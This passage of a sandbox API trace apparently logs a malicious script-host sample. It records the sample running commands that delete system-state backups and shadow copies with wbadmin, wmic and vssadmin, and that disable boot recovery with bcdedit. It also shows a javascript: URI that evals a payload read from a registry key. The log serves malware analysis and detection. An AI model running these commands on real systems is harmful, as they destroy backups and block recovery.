hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3cecc8*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0033.514] NtdllDefWindowProc_W () returned 0x1 [0033.514] NtdllDefWindowProc_W () returned 0x0 [0033.515] NtdllDefWindowProc_W () returned 0x0 [0033.516] NtdllDefWindowProc_W () returned 0x0 [0033.516] NtdllDefWindowProc_W () returned 0x0 [0033.516] NtdllDefWindowProc_W () returned 0x0 [0033.516] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0033.516] GetParent (hWnd=0x2029c) returned 0x700b6 [0033.516] GetParent (hWnd=0x700b6) returned 0x50018 [0033.516] GetParent (hWnd=0x50018) returned 0x0 [0033.516] PostMessageW (hWnd=0x2029c, Msg=0x491, wParam=0x0, lParam=0x0) returned 1 [0033.516] GetMessageTime () returned 163676 [0033.516] GetMessagePos () returned 0x1cc031b [0033.516] ScreenToClient (in: hWnd=0x2029c, lpPoint=0x3ce648 | out: lpPoint=0x3ce648) returned 1 [0033.516] ScreenToClient (in: hWnd=0x2029c, lpPoint=0x3ce648 | out: lpPoint=0x3ce648) returned 1 [0033.517] GetCapture () returned 0x0 [0033.517] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4e8820 [0033.517] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x28) returned 0x4e19a8 [0033.517] GetCurrentThreadId () returned 0x664 [0033.517] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8820 | out: hHeap=0x4a0000) returned 1 [0033.517] GetCurrentThreadId () returned 0x664 [0033.517] GetCurrentThreadId () returned 0x664 [0033.517] PostMessageW (hWnd=0x3026a, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0033.517] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x8, wParam=0x0, lParam=0x0, plResult=0x3ce884 | out: plResult=0x3ce884) returned 0x1 [0033.517] NtdllDefWindowProc_W () returned 0x0 [0033.517] GetCurrentThreadId () returned 0x664 [0033.517] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0033.517] GetMessageTime () returned 163676 [0033.518] GetMessagePos () returned 0x1cc031b [0033.518] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x281, wParam=0x0, lParam=0xc000000f, plResult=0x3ce48c | out: plResult=0x3ce48c) returned 0x0 [0033.518] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0033.518] GetMessageTime () returned 163676 [0033.518] GetMessagePos () returned 0x1cc031b [0033.518] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x282, wParam=0x1, lParam=0x0, plResult=0x3cdebc | out: plResult=0x3cdebc) returned 0x0 [0033.518] GetCurrentThreadId () returned 0x664 [0033.518] GetCurrentThreadId () returned 0x664 [0033.518] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0033.519] GetAncestor (hwnd=0x2029c, gaFlags=0x2) returned 0x700b6 [0033.519] IsIconic (hWnd=0x700b6) returned 0 [0033.519] GetCurrentThreadId () returned 0x664 [0033.520] GetCurrentThreadId () returned 0x664 [0033.520] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0033.520] KillTimer (hWnd=0x2029c, uIDEvent=0x1000) returned 1 [0033.521] IUnknown:AddRef (This=0x4cbe1c) returned 0x4 [0033.521] IUri:GetScheme (in: This=0x4cbe1c, pdwScheme=0x3cdf54 | out: pdwScheme=0x3cdf54*=0xf) returned 0x0 [0033.521] IUri:GetDisplayUri (in: This=0x4cbe1c, pbstrDisplayString=0x3cdf60 | out: pbstrDisplayString=0x3cdf60*="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();") returned 0x0 [0033.521] GetWindowTextW (in: hWnd=0x700b6, lpString=0x3cdb00, nMaxCount=512 | out: lpString="") returned 0 [0033.521] NtdllDefWindowProc_W () returned 0x0 [0033.521] SetWindowTextW (hWnd=0x700b6, lpString="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\HRHLN\\\\LWXEJ'));close();") returned 1 [0033.521] NtdllDefWindowProc_W () returned 0x1 [0033.521] IUnknown:Release (This=0x4cbe1c) returned 0x3 [0033.521] GetCurrentThreadId () returned 0x664 [0033.739] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.740] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.740] ITypeInfo:LocalGetIDsOfNames (This=0x5036d8) returned 0x0 [0033.740] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.740] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.740] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0033.740] ITypeInfo:LocalInvoke (This=0x5036d8) returned 0x0 [0033.740] ExpandEnvironmentStringsW (in: lpSrc="cmd.exe /c wmic SHADOWCOPY DELETE", lpDst=0x3ce4fc, nSize=0x400 | out: lpDst="cmd.exe /c wmic SHADOWCOPY DELETE") returned 0x22 [0033.740] ShellExecuteExW (in: pExecInfo=0x3cecc8*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c wmic SHADOWCOPY DELETE", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3cecc8*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c wmic SHADOWCOPY DELETE", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0033.794] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.794] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.794] ITypeInfo:LocalGetIDsOfNames (This=0x5036d8) returned 0x0 [0033.794] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.794] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.794] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0033.794] ITypeInfo:LocalInvoke (This=0x5036d8) returned 0x0 [0033.794] ExpandEnvironmentStringsW (in: lpSrc="cmd.exe /c vssadmin Delete Shadows /All /Quiet", lpDst=0x3ce4fc, nSize=0x400 | out: lpDst="cmd.exe /c vssadmin Delete Shadows /All /Quiet") returned 0x2f [0033.794] ShellExecuteExW (in: pExecInfo=0x3cecc8*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c vssadmin Delete Shadows /All /Quiet", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3cecc8*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c vssadmin Delete Shadows /All /Quiet", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0033.881] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.881] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.881] ITypeInfo:LocalGetIDsOfNames (This=0x5036d8) returned 0x0 [0033.881] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.881] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.881] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0033.881] ITypeInfo:LocalInvoke (This=0x5036d8) returned 0x0 [0033.881] ExpandEnvironmentStringsW (in: lpSrc="cmd.exe /c bcdedit /set {default} recoveryenabled No", lpDst=0x3ce4fc, nSize=0x400 | out: lpDst="cmd.exe /c bcdedit /set {default} recoveryenabled No") returned 0x35 [0033.882] ShellExecuteExW (in: pExecInfo=0x3cecc8*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c bcdedit /set {default} recoveryenabled No", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3cecc8*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c bcdedit /set {default} recoveryenabled No", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0033.937] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.937] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.937] ITypeInfo:LocalGetIDsOfNames (This=0x5036d8) returned 0x0 [0033.937] IUnknown:Release (This=0x5036d8) returned 0x1 [0033.938] IUnknown:AddRef (This=0x5036d8) returned 0x2 [0033.938] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0033.938] ITypeInfo:LocalInvoke (This=0x5036d8) returned 0x0 [0033.938] ExpandEnvironmentStringsW (in: lpSrc="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpDst=0x3ce4fc, nSize=0x400 | out: lpDst="cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures") returned 0x45 [0033.938] ShellExecuteExW (in: pExecInfo=0x3cecc8*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x3cecc8*(cbSize=0x3c, fMask=0x400, hwnd=0x0, lpVerb="Open", lpFile="cmd.exe", lpParameters="/c bcdedit /set {default} bootstatuspolicy ignoreallfailures", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0034.128] IUnknown:Release (This=0x5036d8) returned 0x1 [0034.129] GetCurrentThreadId () returned 0x664 [0034.129] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0034.129] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0034.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40) returned 0x4eeb88 [0034.129] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x128) returned 0x509948 [0034.130] malloc (_Size=0x204) returned 0x2e83840 [0034.130] ??2@YAPAXI@Z () returned 0x2e81a50 [0034.130] GetCurrentThreadId () returned 0x664 [0034.130] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0034.130] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40) returned 0x4eebd0 [0034.130] PostMessageW (hWnd=0x700b6, Msg=0x10, wParam=0x0, lParam=0x0) returned 1 [0034.130] GetCurrentThreadId () returned 0x664 [0034.130] GetCurrentThreadId () returned 0x664 [0034.131] ISystemDebugEventFire:IsActive (This=0x4ee318) returned 0x1 [0034.131] ??3@YAXPAX@Z () returned 0x1 [0034.131] free (_Block=0x2e80d70) [0034.131] GetCurrentThreadId () returned 0x664 [0034.131] GetCurrentThreadId () returned 0x664 [0034.131] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.131] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.131] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4f8c38 | out: hHeap=0x4a0000) returned 1 [0034.131] IBindStatusCallback:OnStopBinding (This=0x4e1518, hresult=0x80004004, szError=0x0) returned 0x0 [0034.131] IBinding:RemoteGetBindResult (in: This=0x4e1fa0, pclsidProtocol=0x3cf9e8, pdwResult=0x3cf9d8, pszResult=0x3cf9cc, dwReserved=0x0 | out: pclsidProtocol=0x3cf9e8, pdwResult=0x3cf9d8*=0x80004004, pszResult=0x3cf9cc*=0x0) returned 0x0 [0034.131] IUri:GetScheme (in: This=0x4cc68c, pdwScheme=0x3cf9e4 | out: pdwScheme=0x3cf9e4*=0xf) returned 0x0 [0034.131] IUnknown:QueryInterface (in: This=0x4e1fa0, riid=0x734c9460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf9a8 | out: ppvObject=0x3cf9a8*=0x0) returned 0x80004002 [0034.131] IUnknown:QueryInterface (in: This=0x4e29b8, riid=0x734c9460*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3cf994 | out: ppvObject=0x3cf994*=0x0) returned 0x80004002 [0034.132] GetCurrentThreadId () returned 0x664 [0034.132] IUnknown:Release (This=0x4e1fa0) returned 0x3 [0034.132] RevokeBindStatusCallback (pBC=0x4df5e0, pBSCb=0x4e1518) returned 0x0 [0034.132] IUnknown:Release (This=0x4e151c) returned 0x4 [0034.132] IUnknown:Release (This=0x4e1518) returned 0x3 [0034.132] IUnknown:Release (This=0x4df5e0) returned 0x1 [0034.132] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e07b8 | out: hHeap=0x4a0000) returned 1 [0034.132] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d4d48 | out: hHeap=0x4a0000) returned 1 [0034.132] GetCurrentThreadId () returned 0x664 [0034.133] GetCurrentThreadId () returned 0x664 [0034.133] SetEvent (hEvent=0x154) returned 1 [0034.133] CoTaskMemFree (pv=0x0) [0034.133] IInternetProtocolRoot:Terminate (This=0x4e29cc, dwOptions=0x0) returned 0x0 [0034.133] IUnknown:Release (This=0x4e2108) returned 0x4 [0034.133] ReleaseBindInfo (pbindinfo=0x4e29f0) [0034.133] IUnknown:Release (This=0x4e29b8) returned 0x0 [0034.133] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cd838 | out: hHeap=0x4a0000) returned 1 [0034.133] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e29b8 | out: hHeap=0x4a0000) returned 1 [0034.133] GetMessageW (in: lpMsg=0x3cfc5c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3cfc5c) returned 1 [0034.133] TranslateMessage (lpMsg=0x3cfc5c) returned 0 [0034.133] DispatchMessageW (lpMsg=0x3cfc5c) returned 0x0 [0034.134] ScreenToClient (in: hWnd=0x2029c, lpPoint=0x3cf558 | out: lpPoint=0x3cf558) returned 1 [0034.134] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4e89e0 [0034.134] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e89e0 | out: hHeap=0x4a0000) returned 1 [0034.134] ScreenToClient (in: hWnd=0x2029c, lpPoint=0x3cf3e8 | out: lpPoint=0x3cf3e8) returned 1 [0034.134] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4e89e0 [0034.134] GetCurrentThreadId () returned 0x664 [0034.135] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e89e0 | out: hHeap=0x4a0000) returned 1 [0034.135] GetCurrentThreadId () returned 0x664 [0034.135] GetCurrentThreadId () returned 0x664 [0034.135] DestroyWindow (hWnd=0x700b6) returned 1 [0034.135] NtdllDefWindowProc_W () returned 0x0 [0034.135] PostQuitMessage (nExitCode=0) [0034.135] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0034.136] RevokeDragDrop (hwnd=0x2029c) returned 0x0 [0034.136] GetCurrentThreadId () returned 0x664 [0034.136] GetWindowLongW (hWnd=0x2029c, nIndex=-21) returned 5054952 [0034.136] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x4d4ed8, hWnd=0x2029c, msg=0x82, wParam=0x0, lParam=0x0, plResult=0x3cf970 | out: plResult=0x3cf970) returned 0x1 [0034.136] NtdllDefWindowProc_W () returned 0x0 [0034.136] GetCurrentThreadId () returned 0x664 [0034.136] SetWindowLongW (hWnd=0x2029c, nIndex=-21, dwNewLong=0) returned 5054952 [0034.136] NtdllDefWindowProc_W () returned 0x0 [0034.136] GetMessageW (in: lpMsg=0x3cfc5c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3cfc5c) returned 0 [0034.136] PostMessageW (hWnd=0x3026a, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0034.137] GetCurrentThreadId () returned 0x664 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] CActiveIMMAppEx_Trident:IActiveIMMApp:Deactivate (This=0x4d4ed8) returned 0x0 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b1980 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd9b8 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e08d8 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e2d68 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e6698 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e67f0 | out: hHeap=0x4a0000) returned 1 [0034.137] GetCurrentThreadId () returned 0x664 [0034.137] GetCurrentThreadId () returned 0x664 [0034.137] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e19a8 | out: hHeap=0x4a0000) returned 1 [0034.138] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.138] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.138] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.138] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.138] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c37a8 | out: hHeap=0x4a0000) returned 1 [0034.138] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4de6e8 | out: hHeap=0x4a0000) returned 1 [0034.138] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cfb7c | out: phkResult=0x3cfb7c*=0x244) returned 0x0 [0034.138] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x3cfb80 | out: phkResult=0x3cfb80*=0x2f0) returned 0x0 [0034.138] RegOpenKeyExW (in: hKey=0x2f0, lpSubKey="FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP", ulOptions=0x0, samDesired=0x1, phkResult=0x3cfb3c | out: phkResult=0x3cfb3c*=0x0) returned 0x2 [0034.138] RegOpenKeyExW (in: hKey=0x244, lpSubKey="FEATURE_ADDITIONAL_IE8_MEMORY_CLEANUP", ulOptions=0x0, samDesired=0x1, phkResult=0x3cfb3c | out: phkResult=0x3cfb3c*=0x0) returned 0x2 [0034.138] RegCloseKey (hKey=0x0) returned 0x6 [0034.138] RegCloseKey (hKey=0x0) returned 0x6 [0034.138] RegCloseKey (hKey=0x244) returned 0x0 [0034.138] RegCloseKey (hKey=0x2f0) returned 0x0 [0034.138] GetCurrentThreadId () returned 0x664 [0034.138] GetCurrentThreadId () returned 0x664 [0034.138] GetCurrentThreadId () returned 0x664 [0034.138] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.139] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fbf10 | out: hHeap=0x4a0000) returned 1 [0034.139] GetCurrentThreadId () returned 0x664 [0034.139] CoGetObjectContext (in: riid=0x73f10270*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cfb70 | out: ppv=0x3cfb70*=0x4c68d8) returned 0x0 [0034.139] ??3@YAXPAX@Z () returned 0x1 [0034.139] free (_Block=0x2e82f70) [0034.139] ??3@YAXPAX@Z () returned 0x1 [0034.139] ??3@YAXPAX@Z () returned 0x1 [0034.140] ??3@YAXPAX@Z () returned 0x1 [0034.140] IUnknown:Release (This=0x5036d8) returned 0x0 [0034.141] ??3@YAXPAX@Z () returned 0x1 [0034.141] ??3@YAXPAX@Z () returned 0x1 [0034.141] ??3@YAXPAX@Z () returned 0x1 [0034.141] ??3@YAXPAX@Z () returned 0x1 [0034.141] free (_Block=0x2e80c18) [0034.141] free (_Block=0x2e83840) [0034.141] free (_Block=0x2e80c60) [0034.141] ??3@YAXPAX@Z () returned 0x1 [0034.141] ??3@YAXPAX@Z () returned 0x1 [0034.141] free (_Block=0x2e81b00) [0034.141] ??3@YAXPAX@Z () returned 0x1 [0034.141] ??3@YAXPAX@Z () returned 0x1 [0034.142] ??3@YAXPAX@Z () returned 0x1 [0034.142] ??3@YAXPAX@Z () returned 0x1 [0034.142] ??3@YAXPAX@Z () returned 0x1 [0034.142] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x76406460, dwCookie=0x100) returned 0x0 [0034.142] StdGlobalInterfaceTable:IUnknown:Release (This=0x6fffa0) returned 0x1 [0034.142] IUnknown:Release (This=0x4c68d8) returned 0x1 [0034.142] ??3@YAXPAX@Z () returned 0x1 [0034.142] IUnknown:Release (This=0x4c68d8) returned 0x0 [0034.142] ISystemDebugEventFire:EndSession (This=0x4ee318) returned 0x0 [0034.142] IUnknown:Release (This=0x4ee318) returned 0x1 [0034.142] GetUserDefaultLCID () returned 0x409 [0034.142] GetACP () returned 0x4e4 [0034.143] ??3@YAXPAX@Z () returned 0x1 [0034.143] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fff18 | out: hHeap=0x4a0000) returned 1 [0034.143] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e18b8 | out: hHeap=0x4a0000) returned 1 [0034.143] ??3@YAXPAX@Z () returned 0x1 [0034.143] IUnknown:Release (This=0x4ee318) returned 0x0 [0034.143] GetCurrentThreadId () returned 0x664 [0034.143] free (_Block=0x2e81de8) [0034.143] ??3@YAXPAX@Z () returned 0x1 [0034.144] ??3@YAXPAX@Z () returned 0x1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fc550 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fbf28 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4de690 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bd1b0 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e1828 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf378 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4ff7b8 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4fbf40 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.144] IUnknown:Release (This=0x4d3e68) returned 0x0 [0034.144] IUnknown:Release (This=0x4d2924) returned 0x0 [0034.144] IUnknown:Release (This=0x738896bc) returned 0x1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4d99b8 | out: hHeap=0x4a0000) returned 1 [0034.144] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4cf570 | out: hHeap=0x4a0000) returned 1 [0034.145] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x4a0000) returned 1 [0034.145] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x3cfc14 | out: ppURI=0x3cfc14*=0x4cbaa4) returned 0x0 [0034.145] IUri:GetScheme (in: This=0x4cbaa4, pdwScheme=0x3cfbac | out: pdwScheme=0x3cfbac*=0x11) returned 0x0 [0034.145] IUnknown:QueryInterface (in: This=0x4cbaa4, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x3cfbb4 | out: ppvObject=0x3cfbb4*=0x4cbaa4) returned 0x0 [0034.145] IUnknown:Release 